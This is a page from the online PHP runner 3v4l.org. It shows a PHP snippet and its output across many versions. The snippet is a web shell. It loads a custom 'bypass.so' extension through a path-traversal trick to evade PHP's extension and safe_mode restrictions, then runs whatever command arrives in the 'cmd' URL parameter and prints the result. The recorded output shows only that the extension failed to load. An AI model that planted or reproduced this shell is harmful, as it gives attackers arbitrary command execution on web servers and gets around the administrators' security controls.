3v4l.org

run code in 300+ PHP versions simultaneously
<?php function dl_local( $extensionFile ) { if(!(bool)ini_get('enable_dl') ||(bool)ini_get('safe_mode')){ die('Loading extensions is not permitted.'); } if(!file_exists($extensionFile)){ die('File '.$extensionFile.' does not exist.'); } if(!is_executable($extensionFile)){ die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )'); } $currentDir = getcwd().'/'; $currentExtPath = realpath(ini_get('extension_dir')); $subDirs = preg_match_all("/\//",$currentExtPath ,$matches); unset($matches); if(!(bool)$subDirs){ die('Could not determine a valid extension path [extension_dir]'); } $extPathLastChar=strlen($currentExtPath )-1; if($extPathLastChar==strrpos($currentExtPath,'/')){ $subDirs--;}$backDirStr = ''; for($i = 1; $i <= $subDirs; $i++){ $backDirStr .='..'; if($i != $subDirs){ $backDirStr .='/'; } } $finalExtPath = $backDirStr.$currentDir.$extensionFile; if(!dl($finalExtPath)){ die(); } $loadedExtensions = get_loaded_extensions(); $thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1]; return $thisExtName; } @ini_set ('display_errors','1'); error_reporting(E_ALL); dl_local('bypass.so'); if(@$_GET['cmd']){ $output = bypass_exec($_GET['cmd']); echo '<pre>'.$output.'</pre>'; }
Output for 5.4.0 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33, 8.0.0 - 8.0.12, 8.0.14 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Loading extensions is not permitted.
Output for 7.3.32 - 7.3.33, 8.0.13
File bypass.so does not exist.

preferences:
199.54 ms | 401 KiB | 257 Q